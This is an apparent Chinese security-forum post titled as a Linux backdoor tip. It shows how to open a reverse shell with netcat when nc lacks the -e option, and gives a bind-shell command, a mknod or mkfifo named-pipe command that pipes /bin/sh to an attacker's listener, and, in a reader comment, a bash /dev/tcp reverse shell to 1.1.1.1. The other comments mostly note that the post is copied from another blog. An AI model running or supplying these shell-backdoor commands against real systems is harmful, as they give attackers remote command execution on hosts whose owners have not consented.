对于瑞士军刀nc我们再熟悉不过了,经常被用来进行数据包发送,文件传送以及反弹shell。在渗透测试过程中如果想反弹shell我们通常的做法是:

nc -l -vv -p 2222 -e /bin/bash

在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制,但这种情况下是不是就没办法利用了呢?天无绝人之路,来看下面的TIP。

在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:

root@bt:~#mknod /tmp/backpipe p
root@bt:~#/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe

第一条命令使用mknod在tmp目录下创建一个管道backpipe,第二条命令首先将默认shell环境的输入重定向给刚才创建的管道,然后将输出通过nc attackerip listenport重定向到攻击者一端,最后将shell的执行结果再重定向到管道中。

Linux后门之道——NC用法别有洞天

网上查了下mknod命令,说是只能root用户才有权限执行,可是经过测试普通权限的用户也可以创建管道等特殊文件,如果没有权限使用mkfifo /tmp/backpipe也可以创建一个管道。

[原文地址]

相关讨论:

NSA 2013-06-20 1楼

goodjob

sh -i 2013-06-20 2楼

/bin/sh -i > /dev/tcp/1.1.1.1/10086 0<&1 2>&1

lemon (2级) 2013-06-20

@sh -i 您介个怎么设置反弹的端口?我试了下把10086改成443不能和nc -lnvp 443 一起用–

hongygxiang (3级) PPTV安全工程师 2013-06-20 3楼

goodjob

zjuash 2013-06-20 4楼

印象里mac上的nc就是没有-e的。

文章好顶赞!

pnig0s (10级) 知道创宇安全工程师 2013-06-20 5楼

http://www.pnigos.com/?p=141 跟我这篇一样一样的。。

瀚海元安全实验室 2013-06-20

@pnig0s 连截图都一样。。擦

malayke (2级) 2013-06-21

@pnig0s 最原先是小P发的,我都看了好几遍

hxdef_tiffany 2013-06-20 6楼

确实是一样一样的。。。

rookit (1级) 2013-06-20 7楼

图片都是一样的 卧槽

bigfatcat (1级) 2013-06-20 8楼

我擦,都是一样啊!

无节操 2013-06-20 9楼

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet